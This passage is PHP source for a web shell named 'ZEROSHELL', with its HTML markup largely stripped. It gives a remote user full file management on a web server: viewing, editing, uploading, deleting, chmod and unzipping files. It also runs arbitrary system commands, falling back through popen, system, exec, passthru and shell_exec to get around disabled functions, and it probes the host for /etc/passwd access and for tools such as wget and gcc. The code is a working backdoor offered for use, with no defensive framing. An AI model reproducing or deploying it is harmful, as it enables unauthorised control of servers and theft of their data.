Success Created File " . $GLOBALS["zero_post"]["filename"] . ".
"; } else { $data = "
Failed Created File " . $GLOBALS["zero_post"]["filename"] . ".
"; } echo $data; exit; } } else if ($GLOBALS["zero_get"]["zero_act"] == "newfolder") { if ($GLOBALS["zero_post"]["folder"]) { $fol = zeroPath() . "/" . htmlspecialchars($GLOBALS["zero_post"]["folder"]); if (@mkdir($fol)) { $data = "
Success Created Folder " . $GLOBALS["zero_post"]["folder"] . ".
"; } else { $data = "
Failed Created Folder " . $GLOBALS["zero_post"]["folder"] . ".
"; } echo $data; exit; } } else if ($GLOBALS["zero_get"]["zero_act"] == "rename") { if ($GLOBALS["zero_post"]["oldname"]) { $rename = rename(zeroPath() . "/" . $GLOBALS["zero_post"]["oldname"], zeroPath() . "/" . $GLOBALS["zero_post"]["newname"]); if ($rename) { $data = "
Success Rename File .
"; } else { $data = "
Failed Rename File.
"; } echo $data; exit; } } else if ($GLOBALS["zero_get"]["zero_act"] == "view") { echo "

Filename : " . writeable($GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["filename"]) . "


"; echo "
";
    echo htmlspecialchars(@file_get_contents($GLOBALS["zero_post"]["filename"]));
    echo "
"; exit; } else if ($GLOBALS["zero_get"]["zero_act"] == "viewEdit") { echo "

Filename : " . writeable($GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["filename"]) . "


"; echo "
"; echo ""; exit; } else if ($GLOBALS["zero_get"]["zero_act"] == "edit") { if ($GLOBALS["zero_post"]["save"]) { $save = file_put_contents($GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["content"]); if ($save) { $data = "
Success Save File " . $GLOBALS["zero_post"]["filename"] . ".
"; } else { $data = "
Failed Save File " . $GLOBALS["zero_post"]["filename"] . ".
"; } echo $data; exit; } } else if ($GLOBALS["zero_get"]["zero_act"] == "chmod") { if ($GLOBALS["zero_post"]["chmod"]) { $chmod = (chmod(zeroPath() . "/" . $GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["mod"])) ? "
Chmod Success
" : "
Chmod Failed
"; echo $chmod; exit; } } else if ($GLOBALS["zero_get"]["zero_act"] == "delete") { $del = unlink($GLOBALS["zero_post"]["filename"]); if ($del) { $data = "
Success Delete File ". $GLOBALS["zero_post"]["filename"] . ".
"; } else { $data = "
Failed Delete File ". $GLOBALS["zero_post"]["filename"] . ".
"; } echo $data; exit; } else if ($GLOBALS["zero_get"]["zero_act"] == "unzip") { if ($GLOBALS["zero_post"]["filename"]){ $arcv = new ZipArchive; $out = $arcv->open($GLOBALS["zero_post"]["filename"]); if ($out === TRUE) { $arcv->extractTo($GLOBALS["zero_post"]["to"]); $arcv->close(); $data = "
Success Unzip File ". $GLOBALS["zero_post"]["filename"] . " to " . $GLOBALS["zero_post"]["to"] . ".
"; } else { $data = "
Failed Unzip File ". $GLOBALS["zero_post"]["filename"] . ".
"; } echo $data; exit; } } else if ($GLOBALS["zero_get"]["zero_act"] == "upload") { if ($GLOBALS["zero_post"]["upload"]) { if (isset($GLOBALS["zero_files"]["zero_upl"]["name"])) { $name = $GLOBALS["zero_files"]["zero_upl"]["name"]; $zero = $GLOBALS["zero_files"]["zero_upl"]["tmp_name"]; if (@copy($zero, zeroPath() . DIRECTORY_SEPARATOR . $name)) { $data = "
Success Upload File " . $name . ".
"; } else { $data = "
Failed Upload File " . $name . ".
"; } echo $data; exit; } } } else if ($GLOBALS["zero_get"]["zero_act"] == "command") { echo zeroCommand($GLOBALS["zero_post"]["command"]); exit; } } ?> ZEROSHELL | ZEROSTORE
Directory ". zeroPath() ." is not exists.
"); if (!is_readable(zeroPath())) die("
Directory ". zeroPath() ." is not readable.
"); ?> filetype($paths), "size" => "-", "perms" => writeable($paths, perms($paths)), "action" => "Rename | Chmod" ); if(($zeroFolder != ".") && ($zeroFolder != "..") && ($zeroFolder != "")) { echo " "; } } $f = 0; foreach($dir as $files) { $paths = zeroPath() . DIRECTORY_SEPARATOR . $files; if(!is_file($paths)) continue; $size = filesize($paths)/1024; $size = round($size, 3); $size = ($size > 1024) ? round($size/1024, 2) . "MB" : $size . "KB"; $ex = pathinfo($files, PATHINFO_EXTENSION); if ($ex == "zip") { $anjay = " | Unzip"; } else { $anjay = ""; } $zero = array( "type" => filetype($paths), "size" => $size, "perms" => writeable($paths, perms($paths)), "action" => "Edit | Rename | Chmod | Delete | Download$anjay" ); echo " "; } ?>
Name Size Perms Action
$zeroFolder " . $zero["size"] . " " . $zero["perms"] . " " . $zero["action"] . "
$files " . $zero["size"] . " " . $zero["perms"] . " " . $zero["action"] . "
".$perm.""; } else{ return "".$perm.""; } } function perms($path) { $perms = fileperms($path); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function zeroPath() { if (isset($GLOBALS["zero_get"]["path"])) { $dir = str_replace("\\", "/", $GLOBALS["zero_get"]["path"]); @chdir($dir); } else { if (function_exists("getcwd")) { $dir = str_replace("\\", "/", getcwd()); } else { $dir = str_replace("\\", "/", $GLOBALS["zero_server"]["PWD"]); } } return $dir; } function zeroInfo() { $ip = gethostbyname($_SERVER['HTTP_HOST']); $safe = (@ini_get(strtolower("safe_mode")) == 'on') ? color("ON", "red") : color("OFF", "green"); $mysql = (is_callable("mysql_connect")) ? color("ON", "green") : color("OFF", "red"); $curl = (is_callable("curl_version")) ? color("ON", "green") : color("OFF", "red"); $etcPass = (is_readable("/etc/passwd")) ? color("OK", "green") : color("BAD", "red"); $wget = (zeroCommand('wget --help')) ? color("ON", "green") : color("OFF", "red"); $perl = (zeroCommand('perl --help')) ? color("ON", "green") : color("OFF", "red"); $python = (zeroCommand('python --help')) ? color("ON", "green") : color("OFF", "red"); $ruby = (zeroCommand('ruby --help')) ? color("ON", "green") : color("OFF", "red"); $gcc = (zeroCommand('gcc --help')) ? color("ON", "green") : color("OFF", "red"); $dis = @ini_get("disable_functions"); $dfunc = (!empty($dis)) ? "See Disable Function" : color("OFF", "green"); return " UNAME " . php_uname() . "
ADDR " . $ip . " | " . $GLOBALS["zero_server"]["REMOTE_ADDR"] ."
SAFE " . $safe . "
MYSQL " . $mysql . " | CURL " . $curl . " | WGET " . $wget . " | PERL " . $perl . " | PYTHON " . $python ." | RUBY " . $ruby ." | GCC " . $gcc . "
DISABLE FUNCTION " .$dfunc . "
|
"; } function color($str, $col) { $color = [ "green" => "#1D8348", "red" => "#C0392B" ]; return "" . $str . ""; } function zeroCommand($cmd) { if (function_exists("popen")) { $zero = popen($cmd, 'r'); $zero = fread($zero, 2096); return $zero; } else if(function_exists("proc_open")) { $zero = proc_open($cmd, array( 0 => array("pipe", 'r'), 1 => array("pipe", "w"), 2 => array("pipe", "w") ), $store, zeroPath()); $stdout = stream_get_contents($store[1]); fclose($store[1]); return $stdout; } else if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } else if(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } else if(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } else if(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } ?>